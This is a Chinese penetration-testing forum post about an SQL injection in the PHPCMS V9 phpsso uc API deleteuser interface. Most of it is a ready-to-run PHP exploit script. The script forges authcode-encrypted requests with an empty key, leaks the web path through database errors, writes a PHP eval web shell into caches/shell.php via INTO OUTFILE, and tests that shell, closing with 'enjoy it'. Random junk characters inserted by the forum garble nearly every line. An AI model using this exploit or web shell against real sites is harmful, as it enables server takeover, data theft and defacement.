中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
0 d: M# m, o6 H
# M7 f7 |5 p6 X' _6 a, ~8 b! B所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
* i9 ^# {/ x  x# r, K& l: K8 k
3 k) i6 e+ k: Y4 h漏洞分析:% ]1 e; j+ p2 l2 _: o
1.未启用ucenter服务的情况下uc_key为空, Q7 }8 X3 Z4 W3 \/ E& u9 E
define('UC_KEY', pc_base::load_config('system', 'uc_key'));) b2 e7 }9 {& B% L0 h1 ?; z$ T: T  }
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。9 w5 w4 C! {" Z/ G. }, i
    public function deleteuser($get,$post) {# D' B9 ?0 D$ t/ M5 W. _9 c: N3 j6 f
        pc_base::load_app_func('global', 'admin');0 {. X: c9 s* w) z  p) |5 i
        pc_base::load_app_class('messagequeue', 'admin' , 0);9 u* `6 s% M2 W" r  a
        $ids = new_stripslashes($get['ids']);
+ Z9 Y% D0 B, G        $s = $this->member_db->select("ucuserid in ($ids)", "uid");; y8 B, R: ?# }- _! v7 `
SQL语句为
, {8 ?( e% k* m* C" f: ?) uSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
* q; `( l: P5 A' M- y: ?% v+ h. a+ @7 W
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
1 p( @3 |1 M- e, o<?php2 q0 }. L) V4 G4 i
print_r('$ V, A( k+ c0 z
---------------------------------------------------------------------------
* M- |2 r9 z3 P9 z) m7 N# Z- }. NPHPcms (v9 or Old Version) uc api sql injection 0day
: `9 k) M4 O/ Qby rayh4c#80sec.com& H, ^# G  A" O, F# i: ^
---------------------------------------------------------------------------0 l6 W, B' x7 @5 R  E3 I+ t0 F4 v0 u
');
( w7 f) {- ^- G) q) m
3 B7 _! h" V& g8 w9 q3 Dif ($argc<3) {
! K; M3 G( m5 t3 {9 P9 x4 W    print_r('$ N: G3 e, M) Q9 ]. T2 g
---------------------------------------------------------------------------
' l& j7 m0 x% ]& v- I4 }- H0 z7 cUsage: php '.$argv[0].' host path OPTIONS: l& _9 y) r- l2 G. y8 e( @' y
host:      target server (ip/hostname)
/ [: B& q8 l0 {path:      path to phpcms
+ E$ @$ i  M" i1 Z2 c' d+ D! aOptions:6 \. _7 N2 o6 J9 P
-p[port]:    specify a port other than 80; |3 z0 c  ~4 ~$ I" k" C# x! K
-P[ip:port]: specify a proxy
8 [- z2 K) N7 h, R! pExample:
  Z1 s* |) D. r& u8 Fphp '.$argv[0].' localhost /
( V9 G$ T$ X4 w7 U) c- d! ephp '.$argv[0].' localhost /phpcms/ -p81, w1 S# Q5 r% h
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
# R& v4 G( X/ S* s+ p' A4 z# f6 m---------------------------------------------------------------------------( n* w$ S: M9 [& D6 `$ I) r" H
');1 c$ U- X: Q& q. N5 `
    die;
1 x) \" E3 a$ W& b# P: E2 ]}% j5 [/ B+ T0 }- p

! C$ d% n, T, Q2 ~error_reporting(7);$ r! {! a+ F+ l( v" s# g9 S: W
ini_set("max_execution_time",0);! \6 a+ N$ o' @; a
ini_set("default_socket_timeout",5);
9 z  }1 r1 p" A& k" J9 P
) [- I! [, B5 `5 d1 T, E5 x4 ]function quick_dump($string)" q9 B% g4 O; e
{
# i8 [6 O0 q9 Y: s/ T" }  $result='';$exa='';$cont=0;8 {6 }& U' e) `# v. E
  for ($i=0; $i<=strlen($string)-1; $i++)6 I( D: O5 W1 \! T
  {& o% E. S6 O& K  e$ M7 m4 W/ H9 y
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))! Z% L& D, D/ @5 y
   {$result.="  .";}
% J9 M& b6 b* p) F   else! n( o' J9 W  @. J) C
   {$result.="  ".$string[$i];}
* z. m: O( c: O   if (strlen(dechex(ord($string[$i])))==2), F5 H* ]3 t: P0 G! Q
   {$exa.=" ".dechex(ord($string[$i]));}
* r$ t# W. c! }% Z3 H& q( R   else8 D2 o7 n9 q9 Z- G
   {$exa.=" 0".dechex(ord($string[$i]));}8 p9 s7 H, o1 ]: m. ?7 n0 h  x
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}, Q* B1 ]. T0 a. }8 H6 i9 o
  }$ ?& |7 g6 W4 o% U7 k
return $exa."\r\n".$result;$ H% J) K2 r" t% i# t! V5 e
}
4 U% x* s6 f8 o- T$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
- p4 m  M( i8 J3 ]
. l6 m& w: I$ n4 }9 k/ kfunction send($packet)+ W; I9 C& \- C8 O5 k/ a+ `/ r
{
) Z0 p% _3 [8 ~- ?) Y* s; r+ u  w# S1 f  global $proxy, $host, $port, $html, $proxy_regex;
6 E" U) ~  b5 x1 u+ }& d  if ($proxy=='') {/ Q# F5 k9 J  S, j0 f; M, D& d* z
    $ock=fsockopen(gethostbyname($host),$port);& L3 t) X  i# Z- B1 u2 g
    if (!$ock) {
  g+ H) c# t# K) h7 d      echo 'No response from '.$host.':'.$port; die;$ t2 k: A! j; h& _' l9 V  ]
    }
5 `# e8 [* Z+ Q  J5 T  }* p4 ~! I9 `' m
  else {
5 D* y' a+ ^. Z* F( M; |        $c = preg_match($proxy_regex,$proxy);
0 a  i* Y4 z$ v3 r+ ]    if (!$c) {2 W5 C8 X, b) Z" A4 W/ i0 W7 e% A
      echo 'Not a valid proxy...';die;
1 t& U6 c2 `( i* e0 ?% E" u    }
9 t6 A& [/ p0 i3 O9 i. W$ d% [' \1 P    $parts=explode(':',$proxy);
* t9 E, d# s6 y4 m  B% H& o    $parts[1]=(int)$parts[1];
4 q. h5 W, B+ p, d5 b/ Y    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
" z9 O# A# b0 g' |    $ock=fsockopen($parts[0],$parts[1]);
. m/ l! w) e  }    if (!$ock) {
* f7 h# }, g+ k3 @, f( e      echo 'No response from proxy...';die;
" G: i' ~$ F! l: Q: Y        }2 u; d0 O% [1 R) i
  }0 j& Y# o2 p9 d, K" ^
  fputs($ock,$packet);
5 c" m# g; w; }' s4 p  if ($proxy=='') {
6 s: N- v  r% n4 V0 u: T    $html='';3 s5 E6 u( ]4 ^
    while (!feof($ock)) {
$ i/ i4 L# z) Y' Y      $html.=fgets($ock);( e1 m8 [/ G5 i. E) y3 V
    }3 ]# }: i2 x3 P' l* q
  }) I2 N' a, R  ^8 y' O/ c( D
  else {& K, v. F/ ]3 B5 K
    $html='';
- L& a0 K/ z1 \( x& q' r) f    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {3 g7 _. ^+ }) C
      $html.=fread($ock,1);
" g7 D2 S1 b% A0 S& m    }" t  z1 I5 E: n+ }) t7 I* ]2 C
  }
) \. `& z$ U+ i  fclose($ock);0 Y) \8 y7 k2 v* i; p9 `  V
}% w0 i. r2 ^- M2 `
( w8 D+ E, I) g% b+ b
$host=$argv[1];/ A; r' y7 l% r, v- Y, x6 i( x1 t
$path=$argv[2];
$ b% A" b. f: W7 d9 X& d( y5 a! U* G$port=80;/ b1 i* J$ x  d% v3 B
$proxy="";
9 H/ }; W4 S2 I* K0 |) |  Z6 w) V2 Dfor ($i=3; $i<$argc; $i++){
" o* Y# W' l. }/ G$temp=$argv[$i][0].$argv[$i][1];' f. i8 A1 V! ?3 j4 C8 Q
if ($temp=="-p"); N& c1 h5 n$ O, o" ^  W2 f
{. ?4 p. ^2 _6 Y+ S
  $port=(int)str_replace("-p","",$argv[$i]);
1 `( g) Q5 W2 M) f  z8 N8 @}
3 e# ?" S  R/ b; l+ ]if ($temp=="-P")- r( k% h& |8 p! `8 i5 Q# d1 K
{/ y! U1 C7 M# q
  $proxy=str_replace("-P","",$argv[$i]);2 P4 N# z$ D) I% W' l
}% |% B/ L3 o, X$ H3 M: M4 C
}/ d8 h1 z  K9 h2 t* a2 b- d
' n! A7 _. I7 {6 m" ?+ P
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}0 o+ W. z% j, W1 J7 [! G8 |5 O. {
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+ c7 O9 d) m0 n  L, {. Y5 ]0 e& u. l8 O# ]$ y
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
' r$ W  H& F$ w/ H; v
: a! u; P8 p) u: C0 A5 i    $ckey_length = 4;
; ~+ G: g# D, r8 d8 z1 H. u* V. a7 c
: v- t( a+ `$ w# w& x$ S8 {! F    $key = md5($key ? $key : '');/ z) O% e: i4 N' |+ \+ Q* v5 g
    $keya = md5(substr($key, 0, 16));6 K2 J/ C  a/ ?, m
    $keyb = md5(substr($key, 16, 16));7 j& o. K: ~0 T2 H/ }2 J
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
- J  ]+ o# g0 z/ [7 g; y% {- I! g, _- P: @3 J
    $cryptkey = $keya.md5($keya.$keyc);  w: ~5 k4 d0 I+ o) _6 y1 y0 J3 @
    $key_length = strlen($cryptkey);2 P4 u6 \  [( F1 Y0 {! z4 }$ G

- e$ c1 ?7 P$ s( Q    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$ V) F- x, X: D% @    $string_length = strlen($string);( }  \0 p8 M: ]
( }3 H& q5 Q, C1 y
    $result = '';
& Y- a- J" ]6 D    $box = range(0, 255);
- O$ I; v) P) D: E. u& P0 h- w* Y1 y9 c( t; M# E4 l* [1 k( M- L
    $rndkey = array();
' }( e8 m4 ?% E- h1 ~$ x5 l; x    for($i = 0; $i <= 255; $i++) {$ w3 i: O' F( J0 E! g7 j6 X
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
& p, Z4 r' c' x8 h1 d$ `' i    }1 Y+ W3 ~1 J$ Z+ u9 n
3 _' T9 w4 [. b) H1 g
    for($j = $i = 0; $i < 256; $i++) {) e! P- i* g  S0 Z, e6 ^/ I
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
0 c! ?8 s$ M4 ~8 X% S8 v  t  _        $tmp = $box[$i];
( ]9 V& i7 I: j% P, d  ?        $box[$i] = $box[$j];% B9 ^4 g* E  m2 n' o! [
        $box[$j] = $tmp;
, Y8 E7 i3 C, d$ X, h/ }- c    }$ G& q1 z5 L% L+ ~1 N# |' E, b9 ^

  x$ x+ X% [3 O7 J2 L: [0 L    for($a = $j = $i = 0; $i < $string_length; $i++) {& o7 B& }) I# Q3 T5 {
        $a = ($a + 1) % 256;9 Y4 k  x% @! a' C+ h8 g2 A
        $j = ($j + $box[$a]) % 256;
, X$ t& m; v6 b6 |. z$ }        $tmp = $box[$a];
2 F4 k0 U  X$ S  R/ b        $box[$a] = $box[$j];' o/ l( G( H6 E
        $box[$j] = $tmp;
+ C0 M. |8 q: Q) ~: O: g7 {        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));- e! _# Q5 f; W' H  @6 w1 m2 s& f3 R
    }4 F2 `- V0 M/ M/ z8 R7 z3 h

/ t3 q/ M& I% ^8 r: U  w6 I$ T    if($operation == 'DECODE') {
9 ?) b6 @- e( m! k. y        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
( @) N) E4 [$ M7 \8 S+ y3 B            return substr($result, 26);& y  [6 Q! e5 s+ M0 C
        } else {3 C5 z( N; [7 s( D* M7 {( |$ F
            return '';' c5 j- `; |# Y2 ^3 Z: v( t
        }  Z( _) z+ o5 b" Z
    } else {
+ R" O$ S1 I1 j/ m, t' U        return $keyc.str_replace('=', '', base64_encode($result));
' M: e& u2 X) ~; V! u    }
  R; Z) P* w6 f# j$ ~
6 W8 m- l$ Q$ I& q+ }( o}, ^' M" H" N! O' h9 n) k

5 ]& ~/ [4 O4 U% Y$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";" v  e6 K) u& O) m) T
$SQL = urlencode(authcode($SQL, "ENCODE", ""));& ]* M: p) F5 t3 W9 Z
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";. }/ k, t( L% G! c+ g" A2 k
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
, R" l% }' ^% v1 q3 Y+ t- W7 s4 D$packet.="User-Agent: Mozilla/5.0\r\n";
/ o9 ?) s2 U1 ]% e9 f$packet.="Host: ".$host."\r\n";" ?/ h+ A, [8 w5 B2 o" y! G
$packet.="Connection: Close\r\n\r\n";
, p% P  m: I" }send($packet);
' N6 M; b) h8 B5 \" m# cif(strpos($html,"MySQL Errno") > 0){8 D% {: e& V% ~. l+ F" n5 M3 B7 l8 G
echo "[2] 发现存在SQL注入漏洞"."\n";+ `/ s( q. V5 H9 Y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";: p/ C1 n5 n2 a; Z
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";- x( ~' C' D2 E6 R
$packet.="User-Agent: Mozilla/5.0\r\n";7 r) [; ~5 i5 r9 }# E0 i
$packet.="Host: ".$host."\r\n";) y+ `$ O- M4 e; _1 ~
$packet.="Connection: Close\r\n\r\n";
* C, ^  \+ L2 }5 `, Fsend($packet);
0 ?% @4 v. `5 S3 wpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);2 k7 [* P, _9 P3 \. n4 R1 C( j2 D6 o
//print_r($matches);
& W( a" p2 g8 W  [7 e' Rif(!empty($matches)){: B- S4 \5 o2 j. e" ~
echo "[4] 得到web路径 " . $matches[0]."\n";9 M& W! i: Q8 p6 c/ l( V
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
% F( Y3 I, F! w5 c% Z$SQL = "time=999999999999999999999999&ids=1)";
: B8 G0 s9 {% g1 D0 `$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
" k7 J- F2 _  R1 o" w6 e$SQL.="&action=deleteuser";$ l4 y" z8 S% t* y6 G6 {
$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ ?1 b" m+ |; H; _3 H; x
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: @& d) S$ [# |! h! N
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
  `& _( m6 _& T& ^$packet.="User-Agent: Mozilla/5.0\r\n";( W/ D- X, Q) f' [
$packet.="Host: ".$host."\r\n";9 }4 Q. a- h; x$ l7 b6 Z# r, s
$packet.="Connection: Close\r\n\r\n";* `& W) [" u! o' |8 J; ]
send($packet);
( S% J0 b; R' W: }: L, Cif(strpos($html,"Access denied") > 0){
) H; o+ o+ t* R2 z# Wecho "[-] MYSQL权限过低 禁止写入文件 ";
) u& l2 J1 J  }, I5 I. M: Wdie;
, _. n, U/ A: ?  a8 ^  ]* T}
4 U: \2 }8 j, z* R  B8 A5 L' jecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
1 F2 d  @9 ^& q6 o) b$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";  d/ y" Z2 @5 s4 g6 `
$packet.="User-Agent: Mozilla/5.0\r\n";
: L8 l$ J, |! S0 h' M5 ?. H( P/ w+ x, |$packet.="Host: ".$host."\r\n";! h% j+ t4 t+ Q
$packet.="Connection: Close\r\n\r\n";+ ?  a6 E& s& g: O
send($packet);
1 m. y/ }9 N6 I2 a0 Rif(strpos($html,"<title>phpinfo()</title>") > 0){$ e8 I" Q9 |- g- c) k- p/ M
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
! [9 g% f* j; T}
, V. N  g, L; {2 ]5 G- A, ^}else{
7 W: G$ U# l) U% H# }6 |9 `echo "[-]未取到web路径 ";1 _  {0 ]" i6 f* S5 G
}. g; N. d+ z. N% \. u: Y8 P- A
}else{* E; u  f1 d( o
echo "[*]不存在SQL注入漏洞"."\n";
) g+ V- a5 b8 K1 T7 y}
8 x$ ?9 @! X. b2 c
5 J- Z" p& d1 Y* {4 r9 Z?>
" i% V% h$ q9 A9 v7 g/ F, ]% M* z




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2